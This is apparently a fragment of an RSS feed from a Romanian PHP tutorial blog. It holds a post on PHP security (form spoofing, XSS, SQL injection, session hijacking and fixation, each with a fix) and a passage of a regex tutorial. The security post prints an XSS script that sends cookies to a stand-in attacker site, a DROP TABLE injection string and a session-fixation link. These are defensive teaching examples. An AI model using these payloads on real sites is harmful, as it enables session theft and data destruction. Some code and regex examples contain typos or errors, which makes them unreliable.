<div id="seo_alrp_related"><h2>Articole  Lucrul cu headere HTTP din PHP</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/cookies/" rel="bookmark">Cookie-uri in PHP</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/securitate-in-php/" rel="bookmark">Securitate in PHP</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/protectia-output-ului/" rel="bookmark">PROTECTIA OUTPUT-ULUI</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/xml/" rel="bookmark">Tutorial XML</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/01/regular-expressions-regex/" rel="bookmark">REGULAR EXPRESSIONS (REGEX)</a></h3></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://lataifas.ro/2010/02/headere-http/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Securitate in PHP</title>
		<link>http://lataifas.ro/2010/02/securitate-in-php/</link>
		<comments>http://lataifas.ro/2010/02/securitate-in-php/#comments</comments>
		<pubDate>Wed, 03 Feb 2010 07:56:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Php tutorial]]></category>
		<category><![CDATA[Cross-site scripting (XSS)]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[Session hijacking]]></category>
		<category><![CDATA[SQL injection]]></category>

		<guid isPermaLink="false">http://lataifas.ro/?p=92</guid>
		<description><![CDATA[  TIPURI DE ATACURI IN PHP   Atunci cand programatorul nu tine cont de aspectele discutate pana acum in acest material, el creeaza vulnerabilitati in codul sau, care pot fi apoi exploatate de catre crackeri. Vor fi prezentate in continuare cateva dintre cele mai des intalnite tipuri de atacuri impotriva unui site, impreuna cu solutii [...]]]></description>
			<content:encoded><![CDATA[<p><strong>  TIPURI DE ATACURI IN PHP</strong></p>
<p><strong> </strong></p>
<p>Atunci cand programatorul nu tine cont de aspectele discutate pana acum in acest material, el creeaza vulnerabilitati in codul sau, care pot fi apoi exploatate de catre crackeri. Vor fi prezentate in continuare cateva dintre cele mai des intalnite tipuri de atacuri impotriva unui site, impreuna cu solutii pentru prevenirea lor.</p>
<p><em><strong>1.Falsificarea formularelor</strong></em></p>
<p>Precum s-a spus si anterior, programatorul nu poate sti din ce sursa provin datele de intrare ale scriptului. Sa presupunem ca scriem un script PHP numit detalii.php<em> </em>care afiseaza un formular HTML ce solicita utilizatorului numele (introdus manual) si sexul (sub forma unui drop-down list). Acelasi script realizeaza si prelucrarea datelor:</p>
<p><strong>$form = &lt;&lt;&lt;FORM<br />
&lt;form method=post action=$_SERVER[PHP_SELF]&gt;<br />
&lt;input&gt;<br />
&lt;select&gt;<br />
&lt;option value=M&gt;Masculin&lt;/option&gt;<br />
&lt;option value=F&gt;Feminin&lt;/option&gt; &lt;/select&gt;<br />
&lt;input value=submit&gt; &lt;/form&gt;<br />
FORM;<br />
if(!empty($_POST['submit<sup>,</sup>])){ Snume = $_POST['nume'];<br />
$sex = $_POST['sex'];      // valori  posibile:  M sau F<br />
 }</strong></p>
<p>Faptul ca scriptul trimite formularul catre browser si ca tot el receptioneaza si prelucreaza datele nu trebuie sa ne faca sa credem ca datele de intrare ale acestui script provin neaparat de la formularul pe care el il afiseaza! Un utilizator poate scrie oricand un fisier HTML ca urmatorul:</p>
<p><strong>&lt;form method=post action=&#8221;<span style="text-decoration: underline;">http://www.example.com/detalii.php</span>&#8220;&gt;<br />
&lt;input nume=sex&gt;<br />
&lt;input value=trimite&gt;</strong>  </p>
<p>In acest formular, utilizatorul ar putea introduce orice string pentru sexul persoanei, iar numele acesteia lipseste cu desavarsire. La expedierea datelor, tot scriptul detalii.php va fi cel care le primeste (ca si in cazul formularului &#8220;oficial&#8221;), insa ele nu sunt complete, iar campul <em>sex </em>nu mai are neaparat una dintre cele doua valori posibile.</p>
<p>Inventariind, scriptul detalii.php are cateva probleme:</p>
<p>-    se bazeaza pe faptul ca, daca el e cel care afiseaza formularul, datele de intrare vor proveni din acel formular. S-a demonstrat mai sus ca nu este adevarat</p>
<p>-     presupune ca poate impune un set discret de valori pentru o valoare de intrare, afisand in formular un drop-down list cu valorile posibile. S-a demonstrat de asemenea ca, atata timp cat input-ul poate proveni dintr-un alt formular, complet diferit, programatorul nu mai poate sti ce fel de componenta a fost folosita pentru editarea valorii (in fond, tot ce receptioneaza scriptul este o pereche nume-valoare)</p>
<p>-    presupune ca, daca in $_POST se gaseste elementul corespunzator butonului de submit, atunci in S_POST sunt de asemenea prezente toate datele necesare. S-a aratat mai sus faptul ca datele din input pot fi prezente in orice combinatie, fara nici o legatura cu felul in care a fost gandit formularul &#8220;oficial&#8221; (cel afisat de catre detalii.php)</p>
<p><strong>   Solutie</strong></p>
<p>Avand in vedere ca sursa datelor nu este sub controlul programatorului, acesta poate lua doua seturi de masuri: -    sa incerce sa se asigure ca datele provin chiar din formularul afisat de catre scriptul sau, si nu din altul. Solutia este doar partiala, pentru ca destule browsere din ziua de astazi au facilitati ce permit editarea datelor din POST inainte de expedierea unui formular, iar in aceste conditii input-ul ar putea fi invalid chiar daca provine din formularul corect &#8211;  sa verifice prezenta tuturor datelor necesare in input si sa le valideze inainte de a lucra cu ele &#8211; este  solutia cea mai sigura, si care trebuie oricum aplicata datelor de intrare indiferent de scenariu</p>
<p>Atentie! O falsa solutie este incercarea de validare a datelor folosind un limbaj de scripting ce ruleaza pe client (ex: Javascript). Sa nu uitam insa ca 1) orice ruleaza pe client nu este de incredere si 2) chiar daca arfi, limbajele de scripting potfi dezactivate din browser, anuland tot beneficiul validarii client-side dintr-un simplu click. Astfel de metode pot fi folosite doar ca mecanisme aditionale de validare, dar programatorul nu trebuie sa se bazeze exclusiv pe ele.</p>
<p><strong><em>2.Cross-site scripting (XSS)</em></strong></p>
<p>Atacurile de tip cross-site scripting sunt posibile atunci cand o aplicatie (in cazul nostra, un script PHP) permite injectarea de cod in paginile web generate de catre aceasta. De obicei acest tip de atacuri functioneaza in conjunctie cu limbaje de scripting ce ruleaza pe client (ex: Javascript). Un astfel de atac a fost prezentat in cadrul acestui material, in sectiunea 14.4.2.1: o aplicatie PHP memoreaza sugestiile utilizatorilor intr-o baza de date, afisand ultima sugestie introdusa. Daca programatorul preia ca atare input-ul utilizatorului si il afiseaza inapoi in browser, el deschide calea unui atac de tip XSS, deoarece un atacator poate introduce cod HTML si Javascript care apoi va fi interpretat ca atare de browserele altor utilizatori care vizualizeaza pagina in cauza. Sa ne imaginam ce se va intampla daca atacatorul introduce ca &#8220;sugestie&#8221; urmatorul string:</p>
<p><strong>&lt;script language= &#8220;javascript&#8221;&gt;<br />
document. location=<span style="text-decoration: underline;">&#8216;http://www.site-atacator.com</span>? thecookie= &#8216;+document.cookie;<br />
&lt;/script&gt;</strong></p>
<p>Orice utilizator care vizualizeaza apoi &#8220;sugestia&#8221; introdusa va fi redirectionat catre site-ul atacatorului, insa continutul eventualului cookie trimis catre site-ul original va fi inclus in query string, putand fi apoi usor extras de catre atacator (ex: $_GET['thecookie']).</p>
<p><strong>Solutie</strong></p>
<p>Problema in acest caz este afisarea neeontrolata in browser a input-ului de la un utilizator rauvoitor. Precum s-a discutat in cadrul acestui material, orice caracter sau constractie cu regim special pentru browser trebuie reprezentat(a) folosind entitatile HTML corespunzatoare, iar acest lucra poate fi facut in PHP folosind functiile htmlspecialchars()/htmlentities(). In acest fel, la afisarea codului de mai sus in browser, el se va vedea exact asa cum apare in exemplu, fara a fi interpretat ca cod HTML/Javascript.</p>
<p><strong><em>3.SQL injection</em></strong></p>
<p>Atacurile de tip SQL injection presupun injectarea de cod SQL rauvoitor in interogarile efectuate de un site catre baza de date cu care lucreaza, in scopul distrugerii sau furtului de date sau al accesului neautorizat la informatie. Acest lucra este posibil cand interogarile sunt generate folosind informatii provenite de la utilizator.</p>
<p>Sa consideram exemplul unui script PHP ce primeste username-ul si parola introduse de utilizatori si efectueaza o interogare in baza de date pentru a determina parola corespunzatoare username-ului primit:</p>
<p><strong> $sql = &#8220;select * FROM useri  where username=&#8217;$_POST['user']}&#8217; &#8220;;</strong></p>
<p>Un atacator ar putea introduce urmatoarea secventa pe post de username: &#8216;; <em>DROP TABLE useri&#8211;. </em>$sql devine acum:</p>
<p><strong>SELECT * from useri  where username &#8216; &#8216;;  drop table useri;   &#8211;&#8217;</strong></p>
<p>Atacatorul a reusit astfel sa genereze mai multe comenzi SQL, una dintre ele fiind distructiva. Apostroful de incheiere al valorii username-ului este anulat de delimitatorul de comentariu (&#8211; in SQL).</p>
<p><strong>Solutii</strong></p>
<p>Problema in scenariul de mai sus este ca input-ul provenit de la utilizator nu trece printr-o procedura de escaping inainte de a fi trimis catre baza de date. Se disting urmatoarele solutii/recomandari:</p>
<ul>
<li>orice string trimis catre baza de date trebuie filtrat prin mysqli_real_escape_string() sau echivalentul acestei functii pentru extensia de baze de date folosita</li>
<li>un script trebuie sa aiba privilegiile minime necesare asupra bazei de date. In exemplul de mai sus, scriptul nu ar trebui sa aiba permisiunea de DROP pe tabelele bazei de date</li>
</ul>
<p><strong><em>4.Session hijacking</em></strong></p>
<p>Sistemul de sesiuni PHP poate fi inselat; depinde de cat de bine este folosit de catre programator. Spre exemplu, din punct de vedere al sistemului de sesiuni, un utilizator este identificat printr-un numar &#8211; session ID-ul, stocat in session cookie sau in URL. Daca un utilizator neautorizat intra in posesia session ID-ului altui user, si creeaza un cookie/URL continand acest session ID, un script PHP nu ar fi constient de faptul ca interactioneaza acum cu un alt utilizator.</p>
<p>Un atacator ar putea ajunge in posesia session id-ului unui utilizator in diferite moduri, unul dintre cele mai intalnite fiind XSS: fie accesand continutul cookie-ului trimis de utilizatorul valid catre server (daca session ID-ul este pastrat in session cookie), fie injectand un link extern caruia i se va adauga session id-ul automat (daca PHP este configurat sa faca acest lucru).</p>
<p>Un alt mod de a intra in posesia diverselor session id-uri ale clientilor este pe un server de shared hosting (care gazduieste mai multe site-uri pe aceeasi statie). Mecanismul default de serializare a datelor de sesiune le salveaza sub forma de fisiere in /tmp, toate procesele serverului web avand acces la aceasta informatie.</p>
<p>Odata ce un atacator reuseste sa &#8220;fure&#8221; sesiunea unui utilizator in acest fel, el se prezinta practic serverului ca fiind acel utilizator si, daca utilizatorul in cauza era autentificat, va avea acces la datele private ale victimei.</p>
<p><strong>Solutii</strong></p>
<p>Problema in scenariul de mai sus este ca un utilizator este identificat printr-un simplu numar care, odata intrat in posesia atacatorului, ii permite acestuia din urma sa preia identitatea victimei. Posibile remedii sunt:</p>
<ul>
<li>efectuarea unor verificari suplimentare, in afara simplului session ID. Una dintre practicile des intalnite este memorarea continutului headerului HTTP User-Agent in datele de sesiune. User-Agent specifica browserul folosit de client, si care se presupune ca ramane constant de-a lungul unei sesiuni. La fiecare cerere efectuata de catre client, se verifica daca User-Agent-ul memorat in sesiune corespunde cu cel primit prin HTTP la cererea curenta</li>
<li>folosirea unui alt mecanism de salvare a datelor de sesiune pentru scenariile de tip shared hosting. O varianta des folosita este salvarea sesiunilor intr-o baza de date</li>
</ul>
<p><strong><em>6.Session fixation</em></strong></p>
<p>Atacurile <strong>de tip session </strong>fixation au ca scop fortarea unui anumit session id pentru sesiunea unui utilizator. Daca atacatorul prestabikste session id-ul, il poate folosi mai apoi pentru a fura identitatea victimei si a accesa datele sale private <strong>dupa </strong>ce aceasta se autentifica.</p>
<p>Sa ne reamintim ca functia session-start() initiaza o sesiune sau restaureaza una veche, dupa caz. Id-ul sesiunii este <strong>fie general pe loc, </strong>fie este folosit cel prezent in GET, POST sau COOKIE. Numele default al session <strong>cookie-ului </strong>este PHPSESSID. Un atacator ar putea trimite victimei (pe messenger, prin XSS etc) un link catre site-ul <strong>pe </strong>care doreste sa castige acces, insa link-ul va contine session id-ul:</p>
<p><strong>http://vww.example. com/index.php ?PHPSESSID=7qw8ynfyutfqt</strong></p>
<p>Cand victima da click pe acest link, site-ul destinatie va porni o sesiune, insa cu session id-ul deja specificat in <strong>query </strong>string. Dupa ce victima se autentifica, atacatorul poate folosi session id-ul pentru a fura sesiunea victimei.</p>
<p><strong>  Solutii</strong></p>
<p>Acest atac functioneaza atunci cand session id-ul poate fi prestabilit de catre atacator, ramanand acelasi dupa autentificarea victimei. Solutia este ca, intotdeauna cand privilegiile unui utilizator se schimba (cum este cazul autentiflcarii in scopul accesarii unei portiuni protejate dintr-un site), session id-ul sa fie regenerat. Aceasta operatie se realizeaza folosind functia <strong>session_regenerate_id():</strong></p>
<p><strong>session_start();<br />
if( auth($user, $pass) === true){ session_regenerate_id();<br />
}</strong></p>
<div id="seo_alrp_related"><h2>Articole Securitate in PHP</h2><ul><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/protectia-output-ului/" rel="bookmark">PROTECTIA OUTPUT-ULUI</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/headere-http/" rel="bookmark">Lucrul cu headere HTTP din PHP</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/cookies/" rel="bookmark">Cookie-uri in PHP</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/02/xml/" rel="bookmark">Tutorial XML</a></h3></div></li><li><div class="seo_alrp_rl_content"><h3><a href="http://lataifas.ro/2010/01/regular-expressions-regex/" rel="bookmark">REGULAR EXPRESSIONS (REGEX)</a></h3></div></li></ul></div>]]></content:encoded>
			<wfw:commentRss>http://lataifas.ro/2010/02/securitate-in-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>REGULAR EXPRESSIONS (REGEX)</title>
		<link>http://lataifas.ro/2010/01/regular-expressions-regex/</link>
		<comments>http://lataifas.ro/2010/01/regular-expressions-regex/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 21:38:11 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Php tutorial]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[regex]]></category>
		<category><![CDATA[regular expressions]]></category>

		<guid isPermaLink="false">http://lataifas.ro/?p=74</guid>
		<description><![CDATA[Regular expressions sunt expresii care ne permit sa specificam formatul unui sir de caractere. Scenariile in care apare nevoia de regex-uri sunt in general doua:   cand dorim sa cautam si sa extragem siruri de caractere cu format cunoscut dintr-un text mai mare. Exemplu: intentionam sa obtinem doar adresele de e-mail dintr-un fisier text care contine [...]]]></description>
			<content:encoded><![CDATA[<p>Regular expressions sunt expresii care ne permit sa specificam formatul unui sir de caractere. Scenariile in care apare nevoia de regex-uri sunt in general doua:  </p>
<ul>
<li>cand dorim sa cautam si sa extragem siruri de caractere cu format cunoscut dintr-un text mai mare. Exemplu: intentionam sa obtinem doar adresele de e-mail dintr-un fisier text care contine diverse informatii despre o lista de utilizatori.</li>
<li>cand dorim sa validam date (sa ne asiguram ca anumite informatii au format corect). Exemplu: datele introduse de catre utilizator intr-un formular HTML trebuie sa respecte anumite cerinte &#8211; datele calendaristice sa fie formatate intr-un anume fel, numele de persoane sa contina nume si prenume separate prin spatiu sau -, etc.</li>
</ul>
<p>Exista deosebiri fundamental intre cautarea obisnuita si cea folosind regex-uri:  </p>
<ul>
<li>in cautarea obisnuita, cunoastem de la bun inceput sirul de caractere ce va fi gasit, iar ceea ce ne intereseaza sunt informatii suplimentare (pozitia sau pozitiile aparitiei lui, frecventa de aparitie etc)</li>
<li>in cautarea cu regex-uri, nu stim dinainte sirurile de caractere pe care le vom gasi, ci vom obtine toate sirurile corespunzatoare formatului specificat. Asadar scopul cautarii, spre deosebire de cautarea obisnuita, poate fi chiar lista de siruri al caror format   este precizat in regex</li>
</ul>
<div><strong>              <em>  PCRE (Perl-compatible Regular Expressions)</em></strong></div>
<div>
<p><strong> </strong><strong> </strong><strong> </strong>  </p>
<p>Un regex este format dintr-o succesiune de caractere (litere, cifre, semne de punctuatie), insa cu urmatoarele particularitati:  </p>
<p>•     intreaga expresie este cuprinsa intre doua caractere delimitatoare. Caracterul delimitator de inceput este acelasi cu eel<br />
de sfarsit si este ales de catre programator. Acest caracter nu are voie sa fie alfanumeric sau \.  </p>
<p>/regex/ &#8211; modalitatea traditional a de delimitare a unui <br />
#regex# &#8211; modalitate alternativa de delimitare <br />
\regex\ &#8211; modalitate invalida  </p>
<p>Nota: daca in interiorul regex-ului estefolosit caracterul delimitator, el trebuie precedat de un \.  </p>
<p><strong>constructia cu paranteze drepte [ ]</strong> &#8211; tine locul unui singur caracter. Ne permite sa specificam un set discret de caractere ce se pot afla pe o anumita pozitie din sir. Intre paranteze, caracterul <sup>^</sup> (accent circumflex) are rol de negare. Exemple:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="80" valign="top"><strong>Regex</strong></td>
<td width="252" valign="top"><strong>Siruri ce corespund</strong></td>
<td width="427" valign="top"><strong>Comentarii, explicatii</strong></td>
</tr>
<tr>
<td width="80" valign="top">[flp]in</td>
<td width="252" valign="top">fin, lin, pin</td>
<td width="427" valign="top">constructia [flp] corespunde unui singur caracter, si anume unuia dintre cele specificate in interiorul parantezelor</td>
</tr>
<tr>
<td width="80" valign="top">[r-t]ara</td>
<td width="252" valign="top">rara, sara,tara</td>
<td width="427" valign="top">constructia [r-t] corespunde unui singur caracter, mai exact unuia dintre cele aflate intre r si t (r,s,t)</td>
</tr>
<tr>
<td width="80" valign="top">[br-tv]</td>
<td width="252" valign="top">bara, rara, sara, tara, vara</td>
<td width="427" valign="top">pot fi combinate primele doua modalitati. Indiferent de cate caractere se afla inauntrul parantezelor, constructia tine loc de un singur caracter (in<strong> </strong>acest caz, acela poate fi b,r,s,t sau v)</td>
</tr>
<tr>
<td width="80" valign="top">[A-Z][a-z]</td>
<td width="252" valign="top">orice cuvant de doua litere care incepe cu litera mare</td>
<td width="427" valign="top">constructia [] poate fi folosita de oricate ori este nevoie in cadrul unui regex</td>
</tr>
<tr>
<td width="80" valign="top">[A-Z][^a-z]</td>
<td width="252" valign="top">orice sir de doua litere care incepe cu litera mare si are pe pozitia a doua orice altceva decat litera mica (ex: C#, A4 etc)</td>
<td width="427" valign="top">[<sup>^</sup>a-z] corespunde unui singur caracter, care nu poate fi litera mica. <strong>Atentie! </strong>Negarea unei litere sau a unui set de litere inseamna ca pe pozitia respectiva se pot gasi cifre, semne de punctuatie etc</td>
</tr>
</tbody>
</table>
<p><strong> </strong>  </p>
<p><strong>•     punctul &#8211; tine locul unui singur caracter.</strong> Indica faptul ca pe respectiva pozitie din sir se poate gasi orice caracter (insa unui singur!) cu exceptia newline (\n). Daca este activata optiunea DOT-ALL (vezi mai jos modificatori), punctul corespunde si caracterelor newline.</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="56" valign="top">Regex</td>
<td width="180" valign="top"><strong>Siruri ce corespund</strong></td>
<td width="524" valign="top"><strong>Comentarii, explicatii</strong></td>
</tr>
<tr>
<td width="56" valign="top">.in</td>
<td width="180" valign="top">fin, lin, pin dar si #in, %in etc</td>
<td width="524" valign="top">. inseamna orice caracter, inclusiv semne de punctuatie, cifre etc</td>
</tr>
<tr>
<td width="56" valign="top">[r-t]a.a</td>
<td width="180" valign="top">rara, sara, tara dar si rata, raba, tata, ta(a, sa@a etc</td>
<td width="524" valign="top">punctul poate fi combinat cu una dintre celelalte constructii</td>
</tr>
<tr>
<td width="56" valign="top">[A-Z].</td>
<td width="180" valign="top">o litera mare urmata de orice caracter (ex: Am, Nu, F&amp;, H* etc)</td>
<td width="524" valign="top"> </td>
</tr>
</tbody>
</table>
<p>Nota: pentru a specifica chiar caracterul punct pe una dintre poziliile sirului cautat, este necesara precedarea lui cu  </p>
<p><em>•    </em>clase de caractere uzuale, predefinite. lata cateva exemple:  </p>
<p>o  \d — digit (cifra zecimala) <br />
o  \D — non-digit (un caracter care nu este cifra zecimala) <br />
o   \s &#8211; whitespace. Corespunde caracterelor spatiu, tab (\t) si newline (\n) <br />
o   \S &#8211; non-whitespace <br />
o   \w &#8211; word character (litera, cifra sau underscore) <br />
o   \W &#8211; non-word character</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="152" valign="top"><strong>Regex</strong></td>
<td width="168" valign="top"><strong>Siruri ce corespund</strong></td>
<td width="439" valign="top"><strong>Comentarii, explicatii</strong></td>
</tr>
<tr>
<td width="152" valign="top"><span style="text-decoration: underline;">\d-\d</span></td>
<td width="168" valign="top">unscor la fotbal:<em> </em>3-2<em>,</em> 1-0 etc</td>
<td width="439" valign="top">constructia [flp] corespunde unui singur caracter, si anume unuia dintre cele specificate in interiorul parantezelor</td>
</tr>
<tr>
<td width="152" valign="top">B\s\d\d\s[A-Z][A-Z][A-Z]</td>
<td width="168" valign="top">un numar de automobil de Bucuresti (ex: B 13 RTG)</td>
<td width="439" valign="top">caracterul B, spatiu, doua cifre, spatiu, 3 litere mari. De remarcat insa ca \s corespunde si cu TAB sau NEWLINE, asadar aceasta expresie nu ar selecta numai numere de masina, ci si succesiuni de 3 linii care contin B pe linia 1, doua cifre pe linia 2 si 3 litere pe linia 3</td>
</tr>
</tbody>
</table>
<p>   </p>
<p>Putem specifica repetitia controlata a unui caracter sau a unei intregi subexpresii folosind doua constructii: </p>
<p> •     constructia cu acolade:  </p>
<p>caracter{min,max} &#8211; caracterul   se  repeta intre min si  max ori<br />
(regex){min,max} &#8211; intreaga expresie se repeta intre min si  max ori  </p>
<p>Sunt permise varialiuni ale acestei sintaxe:  </p>
<p>(regex){n}  -  repetitie de exact n ori <br />
(regex){min,} -  repetitie de minim n ori,   fara limita superioara a numarului  de  repetitii  </p>
<p>Observatie: atunci cand dorim sa punem conditia de repetare a unei parti a regexului ce contine mai multe caractere, acea subexpresie trebuie inclusa intre paranteze rotunde<em>.</em>  </p>
<p>Exemple:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="164" valign="top"><strong>Regex</strong></td>
<td width="204" valign="top"><strong>Siruri ce corespund</strong></td>
<td width="392" valign="top"><strong>Comentarii, explicatii</strong></td>
</tr>
<tr>
<td width="164" valign="top">07\d{8}</td>
<td width="204" valign="top">un numar de mobil (ex: 0720123456)</td>
<td width="392" valign="top">caracterele 0 si 7 urmate de 8 cifre</td>
</tr>
<tr>
<td width="164" valign="top">[A-Z]{2}\d{6}</td>
<td width="204" valign="top">serie si numar de buletin (ex: VF735245)</td>
<td width="392" valign="top">o litera mare care se repeta de exact 2 ori, urmata de o cifra care se repeta de exact 6 ori</td>
</tr>
<tr>
<td width="164" valign="top">[A-Z][a-z]{0,1}</td>
<td width="204" valign="top">un element chimic (ex: H, Na etc)</td>
<td width="392" valign="top">o litera mare, urmata de o litera mica ce apare o data sau deloc</td>
</tr>
<tr>
<td width="164" valign="top">[A-Z]{1,2}\s\d{2}\s[A-Z]{3}</td>
<td width="204" valign="top">un numar de automobil (ex: B 35 EDX sau MM 67 WSL)</td>
<td width="392" valign="top">una sau doua litere mari, un spatiu, doua cifre, un spatiu si apoi trei litere mari</td>
</tr>
<tr>
<td width="164" valign="top">[A-Z][a-z]{1,}</td>
<td width="204" valign="top">un cuvant care incepe cu litera mare (ex: Marius)</td>
<td width="392" valign="top"> </td>
</tr>
</tbody>
</table>
<p>metacaractere folosite pentru cazuri de repetitii particulare  </p>
<p>(regex)+ &#8211; echivalent cu   (regex){1,}   (minim o repetitie a lui   regex) <br />
(regex)*   -   echivalent  cu   (regex){0,}   (0  sau  mai   multe   repetitii   ale  lui   regex)<br />
(regex)? &#8211; echivalent cu   (regex){0,1}   (regex apare o data sau deloc)  </p>
<p>Exemple:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="188" valign="top"><strong>Regex</strong></td>
<td width="168" valign="top"><strong>Siruri ce corespund</strong></td>
<td width="403" valign="top"><strong>Comentarii, explicatii</strong></td>
</tr>
<tr>
<td width="188" valign="top">[A-Z][a-z\s]+\.</td>
<td width="168" valign="top">o propozitie (ex: Am un mar.)</td>
<td width="403" valign="top">o litera mare urmata de una sau mai multe litere mici sau spatii si terminandu-se cu un punct</td>
</tr>
<tr>
<td width="188" valign="top">[a-z]+\.[a-z]+@[a-z]\.[a-z]{2-4}</td>
<td width="168" valign="top">o adresa de mail de forma <span style="text-decoration: underline;">victor.manu@gmail.com</span></td>
<td width="403" valign="top">o litera mica care se repeta minim o data, un caracter. (observati \-ul), o litera mica care se repeta cel putin o data, caracterul @, din nou o succesiune de litere mici (eel putin una) apoi punct si numele domeniului radacina (com, net, org, info, tv etc)</td>
</tr>
</tbody>
</table>
<p>• caracterul^ &#8211; daca apare la inceputul regex-ului, pune conditia ca sirul de caractere gasit sa se afle la inceputul textul ui in care se face cautarea<br />
• caracterul $ &#8211; daca apare la sfarsitul regex-ului, impune ca sirul de caractere ce corespunde regex-ului sa se afle la finalul textului in care se face cautarea<br />
Observatie: atunci cand ^ apare in interiorul parantezelor drepte (la specificarea unci clase de caractere), el are alta semnificatie: cea de negare.<br />
Daca in regex se activeaza optiunea MULTILINE (vezi mai jos modificatori), atunci ^ va corespunde fiecarui inceput de linie, iar $ fiecarui sfarsit de linie, daca textul in care se face cautarea este unul de mai multe linii. Optiunea MULTILINE este initial dezactivata, conditii in care ^ corespunde inceputului intregului text iar $ sfarsitului aceluiasi text.<br />
Exemplu: cautand sirurile de caractere ce corespund regex-ului ninge$ pe textul urmator: </p>
<p><strong>Ziua ninge<br />
noaptea ninge<br />
dimineata ninge iara</strong> </p>
<p>vor fi gasite urmatoarele siruri, in functie de caz:<br />
daca optiunea MULTILINE este activata, va fi gasit sirul ninge de doua ori &#8211; la finalul primei linii si al celei de-a doua. Cuvantul ninge de pe linia 3 nu este gasit deoarece nu se afla la sfarsit de linie<br />
daca optiunea MULTILINE este dezactivata, nu va fi gasit nici un sir, deoarece $ corespunde finalului intregului text, iar textul nu se termina cu sirul ninge . </p>
<p> <strong><em>Modificatori de optiuni</em></strong> </p>
<p>Regex-ul poate contine si elemente care nu desemneaza caractere, clase de caractere sau repetitii, ci specifica optiuni aplicate motorului de regular expressions in cazul expresiei respective. Modificatorii se pot specifica cu urmatoarea constructie in interiorul unui regex: </p>
<p>(?optiuni) &#8211; activarea uneia sau mai multor optiuni<br />
(?-optiuni) &#8211; dezactivarea uneia sau mai multor optiuni<br />
(?optiuni1-optiuni2) &#8211; activarea optiunilor din grupul 1 si dezactivarea celor din grupul 2 </p>
<p>Iata cateva optiuni uzuale:<br />
• CASELESS (i) &#8211; in aplicarea regex-ului in cauza nu se va mai face distinctie intre literele mici si mari<br />
• DOT-ALL (s) &#8211; punctul va corespunde oricarui caracter, inclusiv newline<br />
• MULTILINE (m) &#8211; caracterele ^ si $ nu vor mai corespunde doar inceputului si sfarsitului intregului text in care se cauta, ci fiecarui inceput si sfarsit de linie componenta<br />
Exemple:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="92" valign="top"><strong>Regex</strong></td>
<td width="216" valign="top"><strong>Siruri ce corespund</strong></td>
<td width="449" valign="top"><strong>Comentarii, explicatii</strong></td>
</tr>
<tr>
<td width="92" valign="top">(?i)php</td>
<td width="216" valign="top">php, PHP</td>
<td width="449" valign="top">optiune utila atunci cand cautam o anumita succesiune de litere, indiferent daca sunt mici sau mari; fara aceasta optiune am fi fost fortati sa scriem [Pp][Hh][Pp]</td>
</tr>
<tr>
<td width="92" valign="top">(?im)php$</td>
<td width="216" valign="top">php sau PHP aflate la sfarsit de linie</td>
<td width="449" valign="top">pot fi activate sau dezactivate mai multe optiuni simultan</td>
</tr>
<tr>
<td width="92" valign="top">ab(?i)cd(?-i)ef</td>
<td width="216" valign="top">abedef, abCDef, abCdef, abcDef</td>
<td width="449" valign="top">optiunile pot fi activate numai pe o portiune a regex-ului (in cazul nostru, CASELESS este activ numai pentru literele c si d)</td>
</tr>
<tr>
<td colspan="3" width="756" valign="top"> </td>
</tr>
</tbody>
</table>
<p>In cadrul unui regex, caracterul special | permite specificarea unor formate alternative pentru sirul de caractere cautat/validat sau pentru o portiune a sa: </p>
<p><strong>regexl   |   regex2                       </strong>caracterul are rol de sau </p>
<p> Exemple:</p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="152" valign="top"><strong>Regex</strong> </td>
<td width="192" valign="top"><strong>Siruri ce corespund</strong> </td>
<td width="416" valign="top"><strong>Comentarii, explicatii</strong> </td>
</tr>
<tr>
<td width="152" valign="top">Mari(e|oara) </td>
<td width="192" valign="top">Marie, Marioara </td>
<td width="416" valign="top">finalul sirului cautat are doua formate posibile </td>
</tr>
<tr>
<td width="152" valign="top">(021|07\d)\d{7} </td>
<td width="192" valign="top">un numar de Bucuresti (fix) sau de mobil </td>
<td width="416" valign="top">021 urmat de 7 cifre, sau 07 urmat de 8 cifre </td>
</tr>
<tr>
<td width="152" valign="top">([fs]|vs|)printf </td>
<td rowspan="2" width="192" valign="top">suita de functii printf din PHP (printf, fprintf, sprintf, vsprintf) </td>
<td width="416" valign="top">sirul incepe cu f, cu s, cu vs sau cu nimic (remarcati caracterul | de dinante de paranteza rotunda inchisa) urmat de <em>printf&#8217;.</em> </td>
</tr>
<tr>
<td width="152" valign="top">(f|v?s|)printf </td>
<p>   </p>
<td width="416" valign="top">inaintea lui printf se poate afla: nimic, caracterul f, sau caracterul s precedat sau nu de un v </td>
</tr>
</tbody>
</table>
<p><strong>Sub-expresii</strong> </p>
